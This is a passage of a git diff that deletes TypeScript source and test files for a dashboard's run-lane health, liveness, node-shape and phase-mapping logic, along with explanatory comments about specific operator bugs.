   return lane.phase === 'approval' || lane.phase === 'blocked';
 }
-
-export function advanceProgressMarks(
-  previous: ReadonlyMap<string, LaneProgressMark>,
-  lanes: readonly RunLane[],
-  thresholds: Partial<HealthThresholds> = {},
-): Map<string, LaneProgressMark> {
-  const { attemptClimbMin } = { ...DEFAULT_THRESHOLDS, ...thresholds };
-  const next = new Map<string, LaneProgressMark>();
-
-  for (const lane of lanes) {
-    const progress = comparableProgress(lane);
-    const prior = previous.get(lane.id);
-
-    const positionFlat =
-      prior !== undefined &&
-      prior.progress.status === 'comparable' &&
-      progress.status === 'comparable' &&
-      prior.progress.stepId === progress.stepId &&
-      prior.progress.stageIndex === progress.stageIndex;
-    const climbed =
-      prior !== undefined &&
-      prior.progress.status === 'comparable' &&
-      progress.status === 'comparable' &&
-      progress.attempt - prior.progress.attempt >= attemptClimbMin;
-
-    const thrashStreak = positionFlat && climbed ? prior.thrashStreak + 1 : 0;
-
-    next.set(lane.id, {
-      progress,
-      thrashStreak,
-    });
-  }
-
-  return next;
-}
-
-export function deriveRunHealth(input: DeriveRunHealthInput): DeriveRunHealthResult {
-  const { thrashDetectedStreak } = { ...DEFAULT_THRESHOLDS, ...input.thresholds };
-
-  const lanes = input.lanes.map((lane): RunLane => {
-    // gascity-dashboard (0gww): without the session list, health cannot be
-    // derived — phaseConfidence collapses to 'inferred' and the session-trust
-    // signals (needsOperator/thrash) lose their grounding. Report the lane's
-    // health as genuinely 'unavailable' rather than wrapping a degraded shell in
-    // status:'available'. That degraded-but-'available' shell is what made the
-    // attention emitter's `health.status === 'available'` guard
-    // (attention/registry.ts) skip every lane, so the per-lane
-    // health-unavailable signal never fired. Consumers already gate every
-    // .health.data read on status === 'available', so they degrade cleanly here.
-    if (!input.sessionsAvailable) {
-      return { ...lane, health: { status: 'unavailable', error: 'run session list unavailable' } };
-    }
-
-    const session = resolveLaneSession(lane, input.sessions);
-    const sessionResolved = session.status === 'resolved';
-
-    const phaseConfidence: RunLaneHealth['phaseConfidence'] =
-      lane.formulaStageResolved === true && sessionResolved ? 'known' : 'inferred';
-
-    const thrashStreak = input.marks.get(lane.id)?.thrashStreak ?? 0;
-
-    const health: RunLaneHealth = {
-      phaseConfidence,
-      needsOperator: laneNeedsOperator(lane),
-      stuckNode: stuckNode(lane),
-      thrashingDetected: thrashStreak >= thrashDetectedStreak,
-      session:
-        session.status === 'resolved'
-          ? sessionFacts(session.session)
-          : { status: 'unresolved', error: session.error },
-    };
-
-    return { ...lane, health: { status: 'available' as const, data: health } };
-  });
-
-  return { lanes, census: buildCensus(lanes) };
-}
-
-function resolveLaneSession(
-  lane: RunLane,
-  sessions: readonly DashboardSession[],
-): { status: 'resolved'; session: DashboardSession } | { status: 'unresolved'; error: string } {
-  for (const assignee of lane.activeAssignees) {
-    const session = resolveSessionForTarget(assignee, sessions);
-    if (session !== null) return { status: 'resolved', session };
-  }
-  return { status: 'unresolved', error: 'run session unresolved' };
-}
-
-function comparableProgress(lane: RunLane): LaneProgressComparison {
-  if (lane.progress.status !== 'active_step') {
-    return { status: 'not_comparable', error: 'run has no active step' };
-  }
-  if (lane.progress.stage.status !== 'available') {
-    return { status: 'not_comparable', error: lane.progress.stage.error };
-  }
-  if (lane.progress.attempt.status !== 'available') {
-    return { status: 'not_comparable', error: lane.progress.attempt.error };
-  }
-  return {
-    status: 'comparable',
-    stepId: lane.progress.stepId,
-    stageIndex: lane.progress.stage.index,
-    attempt: lane.progress.attempt.value,
-  };
-}
-
-function stuckNode(lane: RunLane): RunLaneHealth['stuckNode'] {
-  return lane.progress.status === 'active_step'
-    ? { status: 'available', id: lane.progress.stepId }
-    : { status: 'unavailable', error: 'active run step unavailable' };
-}
-
-function sessionFacts(session: DashboardSession): RunLaneHealth['session'] {
-  return {
-    status: 'resolved',
-    lastActive:
-      session.last_active === undefined
-        ? { status: 'unavailable', error: 'session last_active unavailable' }
-        : { status: 'available', at: session.last_active },
-    running: { status: 'available', value: session.running },
-    activity:
-      session.activity === undefined
-        ? { status: 'unavailable', error: 'session activity unavailable' }
-        : { status: 'available', value: session.activity },
-  };
-}
-
-function zeroByPhase(): Record<RunPhase, number> {
-  return {
-    intake: 0,
-    implementation: 0,
-    review: 0,
-    approval: 0,
-    finalization: 0,
-    blocked: 0,
-    complete: 0,
-    active: 0,
-  };
-}
-
-export function buildCensus(lanes: readonly RunLane[]): RunCensus {
-  const byPhase = zeroByPhase();
-
-  let totalInFlight = 0;
-  let unverifiable = 0;
-  let knownDenominator = 0;
-  let thrashing = 0;
-
-  for (const lane of lanes) {
-    byPhase[lane.phase] += 1;
-    if (lane.phase === 'complete') continue;
-
-    totalInFlight += 1;
-    if (lane.health.status === 'available' && lane.health.data.phaseConfidence === 'known') {
-      knownDenominator += 1;
-      if (lane.health.data.thrashingDetected === true) thrashing += 1;
-    } else {
-      unverifiable += 1;
-    }
-  }
-
-  return { byPhase, totalInFlight, unverifiable, knownDenominator, thrashing };
-}
diff --git a/internal/api/dashboardspa/web/shared/src/runs/lanes.ts b/internal/api/dashboardspa/web/shared/src/runs/lanes.ts
deleted file mode 100644
index f72121d514..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/lanes.ts
+++ /dev/null
@@ -1,18 +0,0 @@
-import type { RunDisplayLane, RunDisplayNode } from '../run-detail.js';
-
-const RUN_SCOPE = '__run';
-
-export function buildRunDisplayLanes(nodes: RunDisplayNode[]): RunDisplayLane[] {
-  const byScope = new Map<string, RunDisplayLane>();
-  for (const node of nodes) {
-    const scope = node.scope.kind === 'scoped' ? node.scope.ref : RUN_SCOPE;
-    const existing = byScope.get(scope) ?? {
-      id: scope,
-      label: scope === RUN_SCOPE ? 'Run' : scope,
-      nodeIds: [],
-    };
-    existing.nodeIds.push(node.id);
-    byScope.set(scope, existing);
-  }
-  return [...byScope.values()];
-}
diff --git a/internal/api/dashboardspa/web/shared/src/runs/liveness.test.ts b/internal/api/dashboardspa/web/shared/src/runs/liveness.test.ts
deleted file mode 100644
index 8391114b16..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/liveness.test.ts
+++ /dev/null
@@ -1,153 +0,0 @@
-import { test, describe } from 'node:test';
-import assert from 'node:assert/strict';
-
-import { isDanglingRootGroup, isStaleSessionlessLatch, STALE_LATCH_AFTER_MS } from './liveness.js';
-import type { RunIssue } from './phaseMapping.js';
-import type { RunLane, RunLaneHealth } from '../snapshot/types.js';
-
-// gascity-dashboard-s4rp: the sharp session-less demotion predicate. Operator
-// repro gc-1920 — an ancient approval-gate latch with no live session, no
-// in_progress step, ~4d stale — inflated Active:1 and flickered in/out. It must
-// be demoted, while a freshly-queued run and an approval gate genuinely waiting
-// on a human (both legitimately session-less) must NOT be.
-
-const NOW_MS = Date.parse('2026-06-07T00:00:00.000Z');
-
-function health(sessionStatus: 'resolved' | 'unresolved'): RunLane['health'] {
-  const session: RunLaneHealth['session'] =
-    sessionStatus === 'resolved'
-      ? {
-          status: 'resolved',
-          lastActive: { status: 'available', at: new Date(NOW_MS).toISOString() },
-          running: { status: 'available', value: true },
-          activity: { status: 'available', value: 'working' },
-        }
-      : { status: 'unresolved', error: 'run session unresolved' };
-
-  return {
-    status: 'available',
-    data: {
-      phaseConfidence: 'inferred',
-      needsOperator: false,
-      stuckNode: { status: 'unavailable', error: 'active run step unavailable' },
-      thrashingDetected: false,
-      session,
-    },
-  };
-}
-
-function lane(overrides: Partial<RunLane> = {}): RunLane {
-  return {
-    id: 'gc-1920',
-    title: 'mol-focus-review',
-    formula: { status: 'known', name: 'mol-focus-review' },
-    scope: { status: 'unavailable', error: 'run scope metadata unavailable' },
-    external: { status: 'unavailable', error: 'external reference unavailable' },
-    phase: 'approval',
-    phaseLabel: 'approval',
-    statusCounts: { open: 1 },
-    activeAssignees: [],
-    updatedAt: {
-      status: 'available',
-      at: new Date(NOW_MS - 4 * 24 * 60 * 60 * 1000).toISOString(),
-    },
-    stages: [],
-    progress: { status: 'unavailable', error: 'run progress unavailable' },
-    formulaStageResolved: false,
-    health: health('unresolved'),
-    ...overrides,
-  };
-}
-
-describe('isStaleSessionlessLatch — gascity-dashboard-s4rp', () => {
-  test('demotes a session-less, step-less, stale approval latch (gc-1920)', () => {
-    assert.equal(isStaleSessionlessLatch(lane(), NOW_MS, true), true);
-  });
-
-  test('keeps a freshly-queued session-less run (recent updatedAt)', () => {
-    const queued = lane({
-      phase: 'intake',
-      updatedAt: { status: 'available', at: new Date(NOW_MS - 60_000).toISOString() },
-    });
-    assert.equal(isStaleSessionlessLatch(queued, NOW_MS, true), false);
-  });
-
-  test('keeps an approval gate waiting on a human while still recent', () => {
-    const waiting = lane({
-      updatedAt: { status: 'available', at: new Date(NOW_MS - 30 * 60_000).toISOString() },
-    });
-    assert.equal(isStaleSessionlessLatch(waiting, NOW_MS, true), false);
-  });
-
-  test('keeps a stale run that still has a resolved live session', () => {
-    assert.equal(
-      isStaleSessionlessLatch(lane({ health: health('resolved') }), NOW_MS, true),
-      false,
-    );
-  });
-
-  test('keeps a stale run that still has an in_progress primary step', () => {
-    const active = lane({
-      progress: {
-        status: 'active_step',
-        stepId: 'implementation.patch',
-        stage: { status: 'unavailable', error: 'active run stage unavailable' },
-        attempt: { status: 'unavailable', error: 'run step attempt unavailable' },
-      },
-    });
-    assert.equal(isStaleSessionlessLatch(active, NOW_MS, true), false);
-  });
-
-  test('does not demote when the session list is unavailable', () => {
-    assert.equal(isStaleSessionlessLatch(lane(), NOW_MS, false), false);
-  });
-
-  test('never demotes complete or blocked lanes (already partitioned upstream)', () => {
-    assert.equal(isStaleSessionlessLatch(lane({ phase: 'complete' }), NOW_MS, true), false);
-    assert.equal(isStaleSessionlessLatch(lane({ phase: 'blocked' }), NOW_MS, true), false);
-  });
-
-  test('does not demote without a known age', () => {
-    const noAge = lane({
-      updatedAt: { status: 'unavailable', error: 'run update time unavailable' },
-    });
-    assert.equal(isStaleSessionlessLatch(noAge, NOW_MS, true), false);
-  });
-
-  test('the staleness boundary is exclusive below the floor', () => {
-    const justUnder = lane({
-      updatedAt: {
-        status: 'available',
-        at: new Date(NOW_MS - (STALE_LATCH_AFTER_MS - 1_000)).toISOString(),
-      },
-    });
-    assert.equal(isStaleSessionlessLatch(justUnder, NOW_MS, true), false);
-    const atFloor = lane({
-      updatedAt: { status: 'available', at: new Date(NOW_MS - STALE_LATCH_AFTER_MS).toISOString() },
-    });
-    assert.equal(isStaleSessionlessLatch(atFloor, NOW_MS, true), true);
-  });
-});
-
-describe('isDanglingRootGroup — gascity-dashboard-s4rp', () => {
-  function issue(id: string): RunIssue {
-    return {
-      id,
-      title: id,
-      status: 'open',
-      issue_type: 'task',
-      updated_at: '2026-06-01T00:00:00Z',
-    };
-  }
-
-  test('flags a group whose root bead is absent from its issues', () => {
-    assert.equal(isDanglingRootGroup('gc-1920', [issue('gc-1920-step-1')]), true);
-  });
-
-  test('does not flag a group whose root bead is present', () => {
-    assert.equal(
-      isDanglingRootGroup('gc-1920', [issue('gc-1920'), issue('gc-1920-step-1')]),
-      false,
-    );
-  });
-});
diff --git a/internal/api/dashboardspa/web/shared/src/runs/liveness.ts b/internal/api/dashboardspa/web/shared/src/runs/liveness.ts
deleted file mode 100644
index 1a9114ce5f..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/liveness.ts
+++ /dev/null
@@ -1,74 +0,0 @@
-import type { RunIssue } from './phaseMapping.js';
-import type { RunLane } from '../snapshot/types.js';
-
-// gascity-dashboard-s4rp: a run can be echoed by the supervisor long after it
-// has stopped progressing. The operator repro is gc-1920 — an ancient
-// (id ~1920 vs a current store at ~346k) mol-focus-review approval-gate latch
-// with NO live session, ~4 days since its last bead write, and no in_progress
-// step. It was counted as Active:1 and flickered in and out of the lane set on
-// every refresh. Half (b) of gascity-dashboard-4xcv asked for these
-// session-less latches to be demoted out of Active; the blocked half (a) was
-// already handled by the blockedLanes split.
-//
-// The sharp predicate has to demote the dead latch WITHOUT demoting a run that
-// is legitimately session-less for a benign reason — a freshly queued run that
-// has not yet been picked up, or an approval gate genuinely waiting on a human.
-// Those are RECENT; the dead latch is days old. Staleness is therefore the
-// distinguishing axis, with a floor well clear of any human-in-the-loop
-// turnaround so a real approval gate is never demoted while it is still being
-// waited on.
-
-/**
- * A run is treated as a stale session-less latch once its most-recent bead
- * write is older than this. Deliberately far above the live-attention staleness
- * tiers (frontend `STALENESS_TIER_MS.stalled` = 30m) — that tier flags a run
- * the operator should look at NOW; this floor decides a run is abandoned and
- * should leave the Active set entirely, so it must clear normal queue and
- * approval-gate dwell times (hours) with room to spare.
- */
-export const STALE_LATCH_AFTER_MS = 24 * 60 * 60 * 1000;
-
-/**
- * True when `lane` is an open run that is no longer progressing and should be
- * demoted out of the Active set: the session list resolved, no session maps to
- * the lane, no primary step is in_progress, and the lane's last write is older
- * than {@link STALE_LATCH_AFTER_MS}. complete/blocked lanes are already
- * partitioned out upstream and are never considered here.
- *
- * `nowMs` is the snapshot generation time (the caller's fetch timestamp), not a
- * live clock read — staleness is judged against the data's own generation so
- * the result is deterministic for a given snapshot (no wall-clock test flake).
- */
-export function isStaleSessionlessLatch(
-  lane: RunLane,
-  nowMs: number,
-  sessionsAvailable: boolean,
-): boolean {
-  // Without a session list we cannot trust the "no session" signal — a failed
-  // session read must not demote every lane.
-  if (!sessionsAvailable) return false;
-  if (lane.phase === 'complete' || lane.phase === 'blocked') return false;
-  // A live in_progress primary step means the run IS progressing.
-  if (lane.progress.status === 'active_step') return false;
-  // A resolved session means a worker is on it (even if parked at a gate).
-  if (laneSessionResolved(lane)) return false;
-  // Needs a known age to judge staleness; absent that we do not demote.
-  if (lane.updatedAt.status !== 'available') return false;
-  const ageMs = nowMs - Date.parse(lane.updatedAt.at);
-  return Number.isFinite(ageMs) && ageMs >= STALE_LATCH_AFTER_MS;
-}
-
-function laneSessionResolved(lane: RunLane): boolean {
-  return lane.health.status === 'available' && lane.health.data.session.status === 'resolved';
-}
-
-/**
- * True when a run group's root bead is absent from the group's issues — the run
- * is rooted at a bead that no longer exists in the store (gascity-dashboard-s4rp
- * dangling root). Such a group has no authoritative root metadata; its title is
- * inferred from a child and its scope is unresolvable, so it must not be
- * surfaced as a live run.
- */
-export function isDanglingRootGroup(rootId: string, issues: readonly RunIssue[]): boolean {
-  return !issues.some((issue) => issue.id === rootId);
-}
diff --git a/internal/api/dashboardspa/web/shared/src/runs/node-shape.ts b/internal/api/dashboardspa/web/shared/src/runs/node-shape.ts
deleted file mode 100644
index 47cd89a22c..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/node-shape.ts
+++ /dev/null
@@ -1,190 +0,0 @@
-import type { RunSnapshotBead } from '../run-snapshot.js';
-import type { RunConstructKind } from '../run-detail.js';
-import { externalizeId, meta, nonEmpty, normalizedStepRef } from './bead-fields.js';
-
-const HIDDEN_CONSTRUCTS = new Set<RunConstructKind>(['scope-check', 'run-finalize', 'spec']);
-
-export function isHiddenConstruct(kind: RunConstructKind): boolean {
-  return HIDDEN_CONSTRUCTS.has(kind) || kind === 'control';
-}
-
-export function semanticNodeIdFor(bead: RunSnapshotBead, rootBeadId: string): string {
-  const beadId = nonEmpty(bead.id);
-  if (beadId && beadId === rootBeadId) return rootBeadId;
-  const explicit = meta(bead, 'gc.logical_bead_id') ?? nonEmpty(bead.logical_bead_id);
-  if (explicit) return externalizeId(explicit);
-  const stepId = meta(bead, 'gc.step_id');
-  if (stepId) return externalizeId(stepId);
-  const ref = normalizedStepRef(bead);
-  if (ref) {
-    const semanticId = semanticIdFromStepRef(ref);
-    if (semanticId) return externalizeId(semanticId);
-  }
-  return externalizeId(beadId ?? 'run-node');
-}
-
-export function hiddenBadgeTargetFor(bead: RunSnapshotBead, rootBeadId: string): string | null {
-  const kind = constructKindFor(bead, rootBeadId);
-  if (kind === 'run-finalize') return rootBeadId;
-  const controlRef = meta(bead, 'gc.control_for');
-  if (controlRef) {
-    const controlTarget = semanticIdFromControlRef(controlRef);
-    if (controlTarget) return externalizeId(controlTarget);
-  }
-  const ref = normalizedStepRef(bead);
-  if (!ref) return null;
-  const target = semanticIdFromControlRef(ref);
-  return target ? externalizeId(target) : null;
-}
-
-export function constructKindFor(bead: RunSnapshotBead, rootBeadId: string): RunConstructKind {
-  const beadId = nonEmpty(bead.id);
-  if (beadId && beadId === rootBeadId) return 'run-root';
-  const kind = rawKind(bead);
-  switch (kind) {
-    case 'ralph':
-      return 'check-loop';
-    case 'retry':
-      return 'retry';
-    case 'scope':
-    case 'epic':
-    case 'body':
-      return 'scope';
-    case 'fanout':
-      return 'fanout';
-    case 'condition':
-      return 'condition';
-    case 'expand':
-    case 'expansion':
-      return 'expansion';
-    case 'scope-check':
-      return 'scope-check';
-    case 'run-finalize':
-      return 'run-finalize';
-    case 'spec':
-      return 'spec';
-    case 'cleanup':
-      return 'control';
-    default:
-      return 'step';
-  }
-}
-
-export function externalKindFor(bead: RunSnapshotBead, constructKind: RunConstructKind): string {
-  if (constructKind === 'check-loop') return 'check-loop';
-  const kind = rawKind(bead);
-  return kind === 'ralph' ? 'check-loop' : kind || constructKind;
-}
-
-export function displayTitleFor(bead: RunSnapshotBead, fallback: string): string {
-  return externalizeDisplayText(nonEmpty(bead.title) ?? fallback.replace(/[-_]/g, ' '));
-}
-
-export function badgeLabelFor(kind: RunConstructKind): string {
-  switch (kind) {
-    case 'scope-check':
-      return 'scope check';
-    case 'run-finalize':
-      return 'finalize';
-    case 'check-loop':
-    case 'condition':
-    case 'control':
-    case 'expansion':
-    case 'fanout':
-    case 'retry':
-    case 'scope':
-    case 'spec':
-    case 'step':
-    case 'unknown':
-    case 'run-root':
-      return kind.replace(/-/g, ' ');
-  }
-}
-
-export function loopControlNodeIdFor(bead: RunSnapshotBead): string | undefined {
-  const scopeRef = meta(bead, 'gc.scope_ref') ?? nonEmpty(bead.scope_ref);
-  const scopeControlId = scopeRef
-    ? loopControlIdFromRuntimeRef(scopeRef, ['iteration', 'run'])
-    : undefined;
-  if (scopeControlId) return scopeControlId;
-
-  const ref = normalizedStepRef(bead);
-  if (!ref) return undefined;
-  return loopControlIdFromRuntimeRef(ref, ['iteration']);
-}
-
-function rawKind(bead: RunSnapshotBead): string {
-  return meta(bead, 'gc.kind') ?? meta(bead, 'gc.original_kind') ?? nonEmpty(bead.kind) ?? '';
-}
-
-function semanticIdFromStepRef(ref: string): string | undefined {
-  const parts = ref.split('.').filter(Boolean);
-  if (parts.length === 0) return undefined;
-
-  const semanticParts = stripRuntimeSuffix(parts);
-  const iterationIndex = semanticParts.lastIndexOf('iteration');
-  if (
-    iterationIndex >= 0 &&
-    iterationIndex < semanticParts.length - 2 &&
-    isPositiveInteger(semanticParts[iterationIndex + 1])
-  ) {
-    return semanticParts.at(-1);
-  }
-  if (
-    iterationIndex === semanticParts.length - 2 &&
-    isPositiveInteger(semanticParts[iterationIndex + 1])
-  ) {
-    return semanticParts[iterationIndex - 1];
-  }
-  return semanticParts.at(-1);
-}
-
-function semanticIdFromControlRef(ref: string): string | undefined {
-  return semanticIdFromStepRef(stripScopeCheckSuffix(ref));
-}
-
-function stripScopeCheckSuffix(ref: string): string {
-  return ref.replace(/-scope-check$/, '').replace(/\.scope-check$/, '');
-}
-
-function stripRuntimeSuffix(parts: string[]): string[] {
-  const marker = parts.at(-2);
-  const value = parts.at(-1);
-  if (
-    value &&
-    marker &&
-    isPositiveInteger(value) &&
-    (marker === 'attempt' || marker === 'run' || marker === 'check' || marker === 'eval')
-  ) {
-    return parts.slice(0, -2);
-  }
-  return parts;
-}
-
-function loopControlIdFromRuntimeRef(ref: string, markers: readonly string[]): string | undefined {
-  const parts = ref.split('.').filter(Boolean);
-  for (const marker of markers) {
-    const markerIndex = parts.findIndex(
-      (part, index) => part === marker && isPositiveInteger(parts[index + 1]),
-    );
-    if (markerIndex <= 0) continue;
-    const controlId = parts[markerIndex - 1];
-    return controlId ? externalizeId(controlId) : undefined;
-  }
-  return undefined;
-}
-
-function isPositiveInteger(value: string | undefined): boolean {
-  if (!value) return false;
-  const parsed = Number.parseInt(value, 10);
-  return String(parsed) === value && parsed > 0;
-}
-
-function externalizeDisplayText(value: string): string {
-  if (!/(^|[^A-Za-z0-9])ralph(?=$|[^A-Za-z0-9])/i.test(value)) return value;
-  return value
-    .replace(/[-_]+/g, ' ')
-    .replace(/(^|[^A-Za-z0-9])ralph(?=$|[^A-Za-z0-9])/gi, '$1check loop')
-    .replace(/\s+/g, ' ')
-    .trim();
-}
diff --git a/internal/api/dashboardspa/web/shared/src/runs/phaseMapping.test.ts b/internal/api/dashboardspa/web/shared/src/runs/phaseMapping.test.ts
deleted file mode 100644
index ddd3a4fdd3..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/phaseMapping.test.ts
+++ /dev/null
@@ -1,411 +0,0 @@
-import { test, describe } from 'node:test';
-import assert from 'node:assert/strict';
-
-import { mapRunPhase, stepIdPhase, type RunIssue } from './phaseMapping.js';
-
-// gascity-dashboard-q3p1: phase is derived from the run's CURRENT step
-// (structured-first), not from a keyword scan over title+description+metadata.
-// The old scan collapsed almost every real formula run onto 'approval' because
-// broad needles like 'gate' (order:gate-sweep, "ship gate") and 'human' (the
-// ubiquitous summary_for_human metadata key) matched incidental text in some
-// bead of the group.
-
-function root(overrides: Partial<RunIssue> & Pick<RunIssue, 'id'>): RunIssue {
-  return {
-    title: 'run root',
-    status: 'open',
-    issue_type: 'molecule',
-    updated_at: '2026-06-06T00:00:00.000Z',
-    metadata: { 'gc.formula_contract': 'graph.v2', 'gc.kind': 'run' },
-    ...overrides,
-  };
-}
-
-function step(
-  id: string,
-  stepId: string,
-  status: string,
-  overrides: Partial<RunIssue> = {},
-): RunIssue {
-  return {
-    id,
-    title: 'step',
-    status,
-    issue_type: 'task',
-    updated_at: '2026-06-06T00:01:00.000Z',
-    metadata: { 'gc.kind': 'step', 'gc.step_id': stepId },
-    ...overrides,
-  };
-}
-
-describe('mapRunPhase — structured derivation from the current step (gascity-dashboard-q3p1)', () => {
-  test('an in_progress implementation step → implementation', () => {
-    const phase = mapRunPhase([
-      root({ id: 'r1' }),
-      step('r1-s1', 'implement-change', 'in_progress'),
-    ]);
-    assert.equal(phase.phase, 'implementation');
-  });
-
-  test('an in_progress review step → review (with a review round)', () => {
-    const phase = mapRunPhase([
-      root({ id: 'r2' }),
-      step('r2-s1', 'code-review-loop', 'in_progress'),
-    ]);
-    assert.equal(phase.phase, 'review');
-    assert.ok(phase.reviewRound !== null && phase.reviewRound >= 1);
-  });
-
-  test('an in_progress approval/gate step → approval (true positive still works)', () => {
-    const phase = mapRunPhase([root({ id: 'r3' }), step('r3-s1', 'human-approval', 'in_progress')]);
-    assert.equal(phase.phase, 'approval');
-  });
-
-  test('an in_progress finalize step → finalization', () => {
-    const phase = mapRunPhase([
-      root({ id: 'r4' }),
-      step('r4-s1', 'merge-and-finalize', 'in_progress'),
-    ]);
-    assert.equal(phase.phase, 'finalization');
-  });
-
-  test('phase advances as the active step advances (graph.v2 progression)', () => {
-    const base = [root({ id: 'rp' })];
-    // 1. implementation in progress, later steps not yet started.
-    const atImpl = mapRunPhase([
-      ...base,
-      step('rp-s1', 'implement-change', 'in_progress'),
-      step('rp-s2', 'code-review-loop', 'open'),
-      step('rp-s3', 'human-approval', 'open'),
-    ]);
-    assert.equal(atImpl.phase, 'implementation');
-
-    // 2. implementation closed, review now in progress.
-    const atReview = mapRunPhase([
-      ...base,
-      step('rp-s1', 'implement-change', 'closed'),
-      step('rp-s2', 'code-review-loop', 'in_progress', {
-        updated_at: '2026-06-06T01:00:00.000Z',
-      }),
-      step('rp-s3', 'human-approval', 'open'),
-    ]);
-    assert.equal(atReview.phase, 'review');
-
-    // 3. review closed, approval now in progress.
-    const atApproval = mapRunPhase([
-      ...base,
-      step('rp-s1', 'implement-change', 'closed'),
-      step('rp-s2', 'code-review-loop', 'closed'),
-      step('rp-s3', 'human-approval', 'in_progress', {
-        updated_at: '2026-06-06T02:00:00.000Z',
-      }),
-    ]);
-    assert.equal(atApproval.phase, 'approval');
-  });
-
-  test('falls back to latest advanced step when nothing is in_progress', () => {
-    const phase = mapRunPhase([
-      root({ id: 'rl' }),
-      step('rl-s1', 'implement-change', 'closed', { updated_at: '2026-06-06T00:01:00.000Z' }),
-      step('rl-s2', 'code-review-loop', 'closed', { updated_at: '2026-06-06T02:00:00.000Z' }),
-    ]);
-    // Latest advanced step is the review-loop, so the run reads as review.
-    assert.equal(phase.phase, 'review');
-  });
-});
-
-describe('mapRunPhase — incidental text never forces approval (the core regression)', () => {
-  test('a summary_for_human metadata key does NOT classify the run as approval', () => {
-    const phase = mapRunPhase([
-      root({
-        id: 'h1',
-        metadata: {
-          'gc.formula_contract': 'graph.v2',
-          'gc.kind': 'run',
-          summary_for_human: 'the run summary that operators read',
-        },
-      }),
-      step('h1-s1', 'implement-change', 'in_progress', {
-        metadata: {
-          'gc.kind': 'step',
-          'gc.step_id': 'implement-change',
-          summary_for_human: 'implementing the change',
-        },
-      }),
-    ]);
-    assert.notEqual(phase.phase, 'approval');
-    assert.equal(phase.phase, 'implementation');
-  });
-
-  test('a "gate" reference (order:gate-sweep dep / "Run BLOCKING gates" desc) does NOT classify as approval', () => {
-    const phase = mapRunPhase([
-      root({
-        id: 'g1',
-        description: 'Run BLOCKING gates before merge; order:gate-sweep dependency',
-      }),
-      step('g1-s1', 'implement-change', 'in_progress', {
-        title: 'Run BLOCKING gates',
-        description: 'order:gate-sweep — ship gate',
-      }),
-    ]);
-    assert.notEqual(phase.phase, 'approval');
-    assert.equal(phase.phase, 'implementation');
-  });
-
-  test('a run with summary_for_human but NO step beads stays conservative, not approval', () => {
-    const phase = mapRunPhase([
-      root({
-        id: 'n1',
-        title: 'A generic run',
-        metadata: {
-          'gc.kind': 'run',
-          summary_for_human: 'a human-readable summary that mentions a gate',
-        },
-      }),
-    ]);
-    // No step identity, and the summary_for_human value (with its 'gate'/'human'
-    // text) is no longer scanned — so the fallback stays conservative.
-    assert.notEqual(phase.phase, 'approval');
-    assert.equal(phase.phase, 'active');
-  });
-});
-
-describe('mapRunPhase — deterministic current-step pick without updated_at (gascity-dashboard Major 3)', () => {
-  // The run-detail snapshot adapter (formula-run.ts fromRunSnapshotBead) sets
-  // every bead updated_at=''. With no in_progress step the old timestamp-based
-  // pick was input-ORDER-dependent (Date.parse('') === NaN). The fallback must
-  // be deterministic and pick the furthest-advanced stage, and a summary-context
-  // version of the same run (real timestamps) must agree with the detail context.
-
-  function snapshotStep(stepId: string, status: string): RunIssue {
-    // Detail-snapshot shape: no per-bead timestamp.
-    return {
-      id: `step-${stepId}`,
-      title: 'step',
-      status,
-      issue_type: 'task',
-      updated_at: '',
-      metadata: { 'gc.kind': 'step', 'gc.step_id': stepId },
-    };
-  }
-
-  test('no in_progress step + empty updated_at → deterministic furthest stage, order-independent', () => {
-    const forward = mapRunPhase([
-      root({ id: 'd1', updated_at: '' }),
-      snapshotStep('implement-change', 'closed'),
-      snapshotStep('code-review-loop', 'closed'),
-    ]);
-    const reversed = mapRunPhase([
-      root({ id: 'd1', updated_at: '' }),
-      snapshotStep('code-review-loop', 'closed'),
-      snapshotStep('implement-change', 'closed'),
-    ]);
-    // Furthest advanced of the two closed steps is the review loop.
-    assert.equal(forward.phase, 'review');
-    // Input order must not change the result.
-    assert.equal(reversed.phase, forward.phase);
-  });
-
-  test('summary-context (real timestamps) and detail-context (empty) of the same run agree', () => {
-    const detail = mapRunPhase([
-      root({ id: 'd2', updated_at: '' }),
-      snapshotStep('implement-change', 'closed'),
-      snapshotStep('code-review-loop', 'closed'),
-    ]);
-    const summary = mapRunPhase([
-      root({ id: 'd2' }),
-      step('d2-s1', 'implement-change', 'closed', { updated_at: '2026-06-06T00:01:00.000Z' }),
-      step('d2-s2', 'code-review-loop', 'closed', { updated_at: '2026-06-06T02:00:00.000Z' }),
-    ]);
-    assert.equal(detail.phase, summary.phase);
-  });
-});
-
-describe('mapRunPhase — status branches remain authoritative', () => {
-  test('any blocked bead → blocked, regardless of step identity', () => {
-    const phase = mapRunPhase([root({ id: 'b1' }), step('b1-s1', 'implement-change', 'blocked')]);
-    assert.equal(phase.phase, 'blocked');
-  });
-
-  test('all closed → complete, regardless of step identity', () => {
-    const phase = mapRunPhase([
-      root({ id: 'c1', status: 'closed' }),
-      step('c1-s1', 'implement-change', 'closed'),
-    ]);
-    assert.equal(phase.phase, 'complete');
-  });
-});
-
-describe('mapRunPhase — tightened keyword fallback (no structured steps)', () => {
-  test('a do-work title (no gc.step_id) still reads as implementation', () => {
-    const phase = mapRunPhase([
-      root({ id: 'f1', title: 'mol-do-work' }),
-      {
-        id: 'f1-c1',
-        title: 'Do the work',
-        status: 'in_progress',
-        issue_type: 'task',
-        updated_at: '2026-06-06T00:02:00.000Z',
-        metadata: { molecule_id: 'f1' },
-      },
-    ]);
-    assert.equal(phase.phase, 'implementation');
-  });
-
-  test('a description-only "gate"/"human"/"merge" mention does NOT reach approval/finalization in the fallback', () => {
-    const phase = mapRunPhase([
-      root({
-        id: 'f2',
-        title: 'A generic run',
-        description: 'review the gate, ask a human, then merge and report',
-      }),
-    ]);
-    // Description is no longer scanned and the title carries no step signal →
-    // conservative active. The incidental 'gate'/'human'/'merge' words in the
-    // description never force a late phase.
-    assert.notEqual(phase.phase, 'approval');
-    assert.notEqual(phase.phase, 'finalization');
-    assert.equal(phase.phase, 'active');
-  });
-});
-
-describe('stepIdPhase — step-identity classification', () => {
-  test('classifies representative declared step ids', () => {
-    assert.equal(stepIdPhase('bootstrap-run'), 'intake');
-    assert.equal(stepIdPhase('preflight'), 'intake');
-    assert.equal(stepIdPhase('implement-change'), 'implementation');
